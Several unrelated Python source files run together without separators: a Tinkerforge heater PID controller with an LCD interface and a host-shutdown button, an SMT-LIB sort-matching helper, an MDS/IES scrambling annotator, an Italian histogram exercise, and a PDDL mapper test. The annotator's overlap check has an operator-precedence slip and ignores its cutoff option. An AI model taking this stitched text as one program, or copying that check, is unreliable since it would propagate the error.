            self.data_logger = getLogger("data-logger")
            self.data_logger.setLevel(INFO)
            self.data_logger.addHandler(FileHandler(logfile_path))
            self.data_logger.addHandler(STDOUT_HANDLER)
            self.data_logger.info(
                f"Timestamp, Temp (°C), Setpoint (°C), Power (%), Kp, Ki, Kd, Cp, Ci, Cd"
            )

        while True:
            try:
                self.ipcon.enumerate()
                return
            except TFConnectionError as error:
                LOGGER.error("Enumerate Error: " + str(error.description))
                sleep(1)

    def _init_pid(self):
        self.pid = PID(setpoint=self.setpoint, output_limits=(0, 100))
        self._read_pid_tunings_from_file()
        self._set_pid_tuning(self.tunings)

    def _read_pid_tunings_from_file(self):
        if not path.exists(PID_TUNING_FILE_PATH):
            LOGGER.info(
                f"{PID_TUNING_FILE_PATH} does not exist. Using default tunings."
            )
            return

        with open(PID_TUNING_FILE_PATH, "r") as f:
            self.tunings = json.load(f)

    def _set_pid_tuning(self, tuning_dict):
        tunings = (tuning_dict.get(parameter, 0) for parameter in ("p", "i", "d"))
        self.pid.tunings = tunings
        self.pid.proportional_on_measurement = tuning_dict.get(
            "proportional_on_measurement", False
        )
        self.pid.bias = tuning_dict.get("bias", 0)

    def _init_lcd(self, uid):
        try:
            self.lcd = BrickletLCD128x64(uid, self.ipcon)
            self.lcd.clear_display()
            self.lcd.remove_all_gui()
            LOGGER.info("LCD128x64 initialized")
        except TFConnectionError as error:
            LOGGER.error("LCD128x64 init failed: " + str(error.description))
            return

        self.lcd.set_gui_tab_selected_callback_configuration(GUI_READ_PERIOD, True)
        self.lcd.register_callback(
            BrickletLCD128x64.CALLBACK_GUI_TAB_SELECTED, self.cb_tab
        )
        self.lcd.set_gui_tab_configuration(self.lcd.CHANGE_TAB_ON_CLICK_AND_SWIPE, True)
        self.lcd.set_gui_tab_icon(0, CONTROL_ICON)
        self.lcd.set_gui_tab_icon(1, GRAPH_ICON)
        self.lcd.set_gui_tab_icon(2, SETTINGS_ICON)

        self.lcd.set_gui_button_pressed_callback_configuration(GUI_READ_PERIOD, True)
        self.lcd.register_callback(
            BrickletLCD128x64.CALLBACK_GUI_BUTTON_PRESSED, self.cb_button
        )

        # Set initial tab
        self.cb_tab(self.active_tab)

    def cb_tab(self, index):
        self.active_tab = index
        self.lcd.clear_display()
        if index == 0:
            self.write_temp()
            self.write_setpoint()
            self.write_power()
            self.lcd.set_gui_button(0, 2, 18, 61, 11, "-1\xDFC")
            self.lcd.set_gui_button(1, 66, 18, 61, 11, "+1\xDFC")
            self.lcd.set_gui_button(2, 2, 30, 61, 11, "-10\xDFC")
            self.lcd.set_gui_button(3, 66, 30, 61, 11, "+10\xDFC")
            self.lcd.set_gui_button(4, 2, 42, 61, 11, "-100\xDFC")
            self.lcd.set_gui_button(5, 66, 42, 61, 11, "+100\xDFC")

        elif index == 1:
            self.lcd.set_gui_graph_configuration(
                0, BrickletLCD128x64.GRAPH_TYPE_LINE, 20, 0, 107, 52, "", ""
            )
            self.update_graph()
            self.lcd.draw_text(0, 23, BrickletLCD128x64.FONT_6X8, True, "\xDFC")
            self.update_axis()

        elif index == 2:
            self.lcd.draw_text(0, 0, BrickletLCD128x64.FONT_6X8, True, "BV21")
            self.lcd.set_gui_button(6, 0, 10, 80, 20, "Shut Down")

    def _cb_set_button(self, setpoint):
        self.setpoint = setpoint
        self.pid.setpoint = setpoint
        self.write_setpoint()

    def cb_button(self, index, value):
        if value is False:
            return
        if index == 0:
            self._cb_set_button(max(self.setpoint - 1, 0))
        elif index == 1:
            self._cb_set_button(min(self.setpoint + 1, 1500))
        elif index == 2:
            self._cb_set_button(max(self.setpoint - 10, 0))
        elif index == 3:
            self._cb_set_button(min(self.setpoint + 10, 1500))
        elif index == 4:
            self._cb_set_button(max(self.setpoint - 100, 0))
        elif index == 5:
            self._cb_set_button(min(self.setpoint + 100, 1500))
        elif index == 6:
            self.close()
            self.shutdown_host()

    def _init_thermocouple(self, uid):
        try:
            self.thermocouple = BrickletThermocoupleV2(uid, self.ipcon)
            LOGGER.info("Thermocouple initialized")
        except TFConnectionError as error:
            LOGGER.error("Thermocouple init failed: " + str(error.description))
            return

        self.thermocouple.set_configuration(
            BrickletThermocoupleV2.AVERAGING_16,
            BrickletThermocoupleV2.TYPE_K,
            BrickletThermocoupleV2.FILTER_OPTION_60HZ,
        )
        self.thermocouple.set_temperature_callback_configuration(
            THERMOCOUPLE_READ_PERIOD, False, "x", 0, 0
        )
        self.thermocouple.register_callback(
            BrickletThermocoupleV2.CALLBACK_ERROR_STATE, self.cb_thermocouple_error
        )
        self.thermocouple.register_callback(
            BrickletThermocoupleV2.CALLBACK_TEMPERATURE, self.cb_thermocouple_reading
        )

    def cb_thermocouple_error(self, over_under, open_circuit):
        if any((over_under, open_circuit)):
            self.thermocouple_active = False
        else:
            self.thermocouple_active = True

        LOGGER.info(
            f"Thermocouple reports: "
            f"over/under voltage {over_under}, open-circuit {open_circuit}"
        )

    def get_pid_value(self):
        current_temp = (
            sum(last_n_values(N_SMOOTHING_POINTS, self.temp_data)) / N_SMOOTHING_POINTS
        )

        if self.tuning_mode:
            self._read_pid_tunings_from_file()
            self._set_pid_tuning(self.tunings)

        return self.pid(current_temp)

    def cb_thermocouple_reading(self, value):
        if self.thermocouple_active:
            current_temp = value / 100
            self.temp_data.append(current_temp)
            power = self.get_pid_value()
        else:
            power = 0
            LOGGER.info("Thermocouple in error state. Output deactivated.")

        old_power = self.heater_power
        sticky_state_active = old_power == 100 or old_power == 0
        self.heater_power = power

        if power == 100:
            self.relay.set_state(True)
            self.heater_active = True
        elif power == 0:
            self.relay.set_state(False)
            self.heater_active = False
        elif 0 < power < 100 and sticky_state_active:
            # If we're coming out of a sticky state, kick of the
            # flop loop for PWM.
            self.relay.set_state(False)
            self.heater_active = False
            self.relay.set_monoflop(False, 0)

        self.write_temp()
        self.write_power()
        self.update_graph()

        if self.logging_mode:
            self.log_line()

    def log_line(self):
        timestamp = datetime.now().strftime(DATETIME_FMT)
        current_temp = self.temp_data[-1]
        kp, ki, kd = self.pid.tunings
        cp, ci, cd = self.pid.components
        log_line = ", ".join(
            str(value)
            for value in (
                timestamp,
                current_temp,
                self.setpoint,
                self.heater_power,
                kp,
                ki,
                kd,
                cp,
                ci,
                cd,
            )
        )
        self.data_logger.info(log_line)

    def _init_relay(self, uid):
        try:
            self.relay = BrickletSolidStateRelayV2(uid, self.ipcon)
            LOGGER.info("Relay initialized")
        except TFConnectionError as error:
            LOGGER.error("Relay init failed: " + str(error.description))
            return

        self.relay.register_callback(
            BrickletSolidStateRelayV2.CALLBACK_MONOFLOP_DONE, self.cb_relay_flop
        )
        self.relay.set_state(False)

    def cb_relay_flop(self, _):
        on_time = round((self.heater_power / 100) * PWM_PERIOD)
        off_time = PWM_PERIOD - on_time

        if self.heater_power < 100:
            if self.heater_active:
                self.relay.set_monoflop(False, off_time)
                self.heater_active = False
            else:
                self.relay.set_monoflop(True, on_time)
                self.heater_active = True
        # If power is 0 or 100, we're not using the flop loop

    def write_temp(self):
        if self.lcd is None:
            return
        if self.active_tab != 0:
            return
        current_temp = self.temp_data[-1]
        temp_string = (
            f"T: {current_temp:2.0f}\xDFC" if self.thermocouple_active else "T: ERR!"
        )
        self.lcd.draw_box(0, 0, 59, 10, True, BrickletLCD128x64.COLOR_WHITE)
        self.lcd.draw_text(0, 0, BrickletLCD128x64.FONT_6X8, True, temp_string)

    def write_power(self):
        if self.lcd is None:
            return
        if self.active_tab != 0:
            return
        self.lcd.draw_box(0, 10, 127, 19, True, BrickletLCD128x64.COLOR_WHITE)
        string = f"Power: {self.heater_power:3.1f}%"
        self.lcd.draw_text(0, 10, BrickletLCD128x64.FONT_6X8, True, string)

    def write_setpoint(self):
        if self.lcd is None:
            return
        if self.active_tab != 0:
            return

        set_string = f"S: {self.setpoint}\xDFC"
        self.lcd.draw_box(60, 0, 127, 10, True, BrickletLCD128x64.COLOR_WHITE)
        self.lcd.draw_text(60, 0, BrickletLCD128x64.FONT_6X8, True, set_string)

    def update_axis(self):
        self.lcd.draw_box(0, 0, 20, 10, True, BrickletLCD128x64.COLOR_WHITE)
        self.lcd.draw_box(0, 45, 20, 55, True, BrickletLCD128x64.COLOR_WHITE)
        self.lcd.draw_text(
            0, 0, BrickletLCD128x64.FONT_6X8, True, f"{self.axis_max:3.0f}"
        )
        self.lcd.draw_text(
            0, 45, BrickletLCD128x64.FONT_6X8, True, f"{self.axis_min:3.0f}"
        )
        self.lcd.draw_text(0, 107, BrickletLCD128x64.FONT_6X8, True, f"")

    def update_graph(self):
        if self.lcd is None:
            return
        if self.active_tab != 1:
            return

        max_temp = max(self.temp_data)
        min_temp = min(self.temp_data)

        # Pad a little bit for looks
        max_temp *= 1.1
        min_temp *= 0.9

        diff = max_temp - min_temp
        if diff == 0:
            # This probably means we don't have any data yet
            return

        scaled_data = [((value - min_temp) / diff) * 255 for value in self.temp_data]

        # This gets rid of any randomness which apparently sometimes occurs when
        # the thermocouple bricklet is physically bumped.
        scaled_data = map(lambda value: max(min(value, 255), 0), scaled_data)

        if max_temp != self.axis_max or min_temp != self.axis_min:
            self.axis_max = max_temp
            self.axis_min = min_temp
            self.update_axis()

        self.lcd.set_gui_graph_data(0, scaled_data)

    def cb_enumerate(self, uid, _, __, ___, ____, device_identifier, enumeration_type):
        if (
            enumeration_type == IPConnection.ENUMERATION_TYPE_CONNECTED
            or enumeration_type == IPConnection.ENUMERATION_TYPE_AVAILABLE
        ):
            if device_identifier == BrickletLCD128x64.DEVICE_IDENTIFIER:
                self._init_lcd(uid)
            elif device_identifier == BrickletThermocoupleV2.DEVICE_IDENTIFIER:
                self._init_thermocouple(uid)
            elif device_identifier == BrickletSolidStateRelayV2.DEVICE_IDENTIFIER:
                self._init_relay(uid)

    def cb_connected(self, connected_reason):
        if connected_reason == IPConnection.CONNECT_REASON_AUTO_RECONNECT:
            LOGGER.info("Auto Reconnect")

            while True:
                try:
                    self.ipcon.enumerate()
                    break
                except TFConnectionError as error:
                    LOGGER.error("Enumerate Error: " + str(error.description))
                    sleep(1)

    def close(self):
        if self.lcd:
            self.lcd.clear_display()
            self.lcd.remove_all_gui()
        if self.relay:
            self.relay.set_state(False)
        if self.ipcon is not None:
            self.ipcon.disconnect()
        LOGGER.info("Heater shut down")

    def shutdown_host(self):
        run("sudo shutdown now", shell=True)

if __name__ == "__main__":
    heater = Heater()
    atexit.register(heater.close)

    loop = asyncio.get_event_loop()
    try:
        loop.run_forever()
    finally:
        loop.close()


from smort.src.translate.theory.available_theories import *

def get_sort_in_synonym(symbol: str, pars: list, synonyms: dict):
    """
    convert symbol to "basic" sort synonym
    par_list is replaced by pars
    """
    if symbol in synonyms:
        sort, par_list = synonyms[symbol]
        par_dict = {}
        for i, par in enumerate(par_list):
            # assuming elements of par_list are all string
            par_dict[par] = pars[i]
        return sort.get_parametric_instance(par_dict)
    return None

def match_fun_in_signatures(name, input_list, signatures: dict):
    """
    :return: Sort of output if matched or None else
    """
    name_type = type(name)
    if name_type == SpecConstant:
        symbol = name.const_type
        indices = name.value
    elif name_type == Identifier:
        symbol = name.symbol
        indices = name.indices
    else:
        return None

    input_indices_list = [input_sort.id_.indices for input_sort in input_list]

    if str(symbol) in signatures:
        fun_list = signatures[str(symbol)]
        if not isinstance(fun_list, list):
            fun_list = [fun_list]
        for fun in fun_list:
            if isinstance(fun.name, name_type):
                fun_output = None
                if (name_type == SpecConstant) or (isinstance(fun.name.indices, dict)):
                    # SpecConstant or Indexed Fun (name is an Identifier)
                    if fun.match_indexed_term(name, input_list):
                        fun_output = fun.get_indexed_output(
                                    indices,
                                    input_indices_list
                                )
                elif fun.par_list:
                    # parametric Fun
                    par_dict = fun.get_par_dict(name, input_list)
                    fun_output = fun.get_parametric_output(par_dict)
                else:
                    if fun.match_term(name, input_list):
                        fun_output = fun.output

                if fun_output:
                    return fun_output

    # special check for (_ bvX n) constant
    if name_type == Identifier and len(name.indices) == 1:
        if name.symbol[0:2] == 'bv':
            # return (_ BitVec n)
            return BIT_VECTOR.get_indexed_instance(name.indices)

    return None


#!/Users/kalindbl/bin/virtualenv/biopython/bin/python

'''

Take an xml file of MDS-IES annotations and produce a new XML file with these added annotations:

- whether the MDS annotation is "valid," i.e. covers the MAC chromosome completely with only pointer overlap
- which MAC contigs come from multiple MIC loci
- which MAC contigs come from scrambled loci
- if scrambled, the sequence of MDS at the MIC locus

Voted least efficient script of the year by everyone ever.

'''

from lxml import etree
from collections import defaultdict
import argparse

parser = argparse.ArgumentParser(description='annotate MDS/IES descriptors with scrambling information')
parser.add_argument('input', help='input MDS/IES database, xml format')
parser.add_argument('contig_lengths', help='text file containing the lengths of MAC contigs, sans telomeres')
parser.add_argument('--coverage_cutoff', help='number of BP on the MAC chromosome that can be unaccounted for before it\'s called invalid.', type=int, default=50)
parser.add_argument('--overlap_cutoff', help='percent of an MDS that must be covered by another before it\'s called invalid.', type=float, default=0.8)
parser.add_argument('output', help='file to which to write (xml) output')
args = parser.parse_args()

def validate_contig(mds_map, contig_length):
    '''
        Takes the MDS structure of a contig and determines whether it is adequately covered, without overlap. Returns true if contig is valid.
    '''

    # First, we want the MDS annotations to extend all along the chromosome
    if mds_map[0][0] > args.coverage_cutoff or contig_length - mds_map[-1][1] > args.coverage_cutoff:
        # This does run into the problem that because the
        # MDS were sorted with respect to final endpoint, the first
        # on the list may not have the lowest coordinate.
        # However, if the endpoint of the actual first MDS is
        # lower than the endpoint of the second MDS, the two overlap
        # and should be discarded anyway.
        return False

    # Are there gaps greater than the coverage cutoff
    # within the sequence? Are there overlaps?
    # Move pairwise over the MDS...
    for pair in zip(mds_map, mds_map[1:]):
        # Determine gap
        gap = pair[1][0] - pair[0][1]
        if gap > args.coverage_cutoff:
            return False
        if gap < 0 and abs(gap) > (0.8 * pair[0][1] - pair[0][0]):
            return False

    # If all that passed, the contig is valid
    return True

def get_scrambling(mac_mds_map, mic_mds_map):
    '''
        Take MDS structure for a MAC contig at a particular MIC locus and determine whether it's out of order. Returns the scrambling pattern if yes, or false otherwise.
    '''

    # Because neither the MAC nor the MIC is necessarily
    # in order in the XML, this is going to be a clumsy
    # sorting operation

    # Label both sequences with indices
    # (We only need the end coordinate for each MDS,
    # since that's what we're going to sort on anyway.)
    mac = zip([tup[1] for tup in mac_mds_map], xrange(len(mac_mds_map)))
    mic = zip([tup[1] for tup in mic_mds_map], xrange(len(mic_mds_map)))

    # Now sort both 5'-3'
    mac.sort(key=lambda x: x[0])
    mic.sort(key=lambda x: x[0])

    # If their indices no longer match, the contig is scrambled...
    new_mac_idx = [tup[1] for tup in mac]
    new_mic_idx = [tup[1] for tup in mic]

    if new_mac_idx != new_mic_idx:
        # If they're mirrors, that just means the MAC contig is backwards...
        if sorted(new_mac_idx) != new_mic_idx:
            # ...and the order of scrambling is the order of
            # the sorted MIC indices sorted by the sorted MAC indices! Whew!
            return ':'.join([str(new_mic_idx[idx]) for idx in new_mac_idx])

    return False

mac_contigs = defaultdict(list)
mic_loci = defaultdict(list)
multi_locus_contigs = []
valid_maps = []
scrambled_maps = {}

# Make the length dict
lengths = {line.split('\t')[0]:int(line.split('\t')[1].strip()) for line in open(args.contig_lengths)}

# Pull in the XML annotations
parser = etree.XMLParser(remove_blank_text=True)
tree = etree.parse(args.input, parser)

maps = tree.getiterator('map')

for map in maps:
    map_id = map.get('id')
    mic = []
    mac = []
    contig = map[1].text
    mds = map.getiterator('mds')
    for indv_mds in mds:
        mic.append((int(indv_mds[0].get('start')), int(indv_mds[0].get('end'))))
        mac.append((int(indv_mds[1].get('start')), int(indv_mds[1].get('end'))))

    # Mark this as a scrambled map if appropriate
    scrambling = get_scrambling(mac, mic)
    if scrambling:
       scrambled_maps[map_id] = scrambling

    if len(mic_loci[contig]):
        # flag this as a multi-locus contig
        if contig not in multi_locus_contigs:
            multi_locus_contigs.append(contig)

    mac_contigs[contig] += mac
    mic_loci[contig] += mic

# Now go through and validate all contigs
for contig in mac_contigs:
    # Since MDS may be coming from several separate maps, they need to be sorted by coordinate
    mac_contigs[contig].sort(cmp=lambda x, y: cmp(x[1], y[1]))
    if validate_contig(mac_contigs[contig], lengths[contig]):
        valid_maps.append(contig)

# Annnnd go through the tree *again* to add appropriate annotations for output
for map in tree.getiterator('map'):
    if map.get('id') in scrambled_maps:
        map.insert(2, etree.Element('scrambled', order=scrambled_maps[map.get('id')]))
    if map[1].text in valid_maps:
        map.insert(2, etree.Element('valid'))

# Finally, write this monstrosity back to a file
outfile = open(args.output, 'w')
outfile.write(etree.tostring(tree.getroot(), xml_declaration=True, pretty_print=True))
outfile.close()


# funzione che, data una lista di numeri, fornisce in output un
# istogramma basato su questi numeri, usando asterischi per disegnarlo.
# Ad esempio, data la lista [3,7,9,5] deve produrre questo grafico:
# ***
# *******
# *********
# *****

def istogramma():
    stampa=''
    while 3>1:
        num=int(input('Inserisci un numero: '))
        if num<0:
          print('Inserisci un numero maggiore di zero: ')
        elif num == 0:
          break
        for k in range(0, num):
           stampa = stampa + '*'
        stampa = stampa +'\n'
    print(stampa)


import unittest
from .pick_up import PickUp

from embasp.languages.pddl.pddl_mapper import PDDLMapper

class PDDLMapperTest(unittest.TestCase):

    def test(self):

        instance = PDDLMapper.get_instance()

        try:
            instance.register_class(PickUp)

            obj = instance.get_object("(pick-up b)")

            self.assertTrue(isinstance(obj, PickUp))

            self.assertEqual("b", obj.get_block())

        except Exception as e:
            self.fail(str(e))

if __name__ == '__main__':
    unittest.main()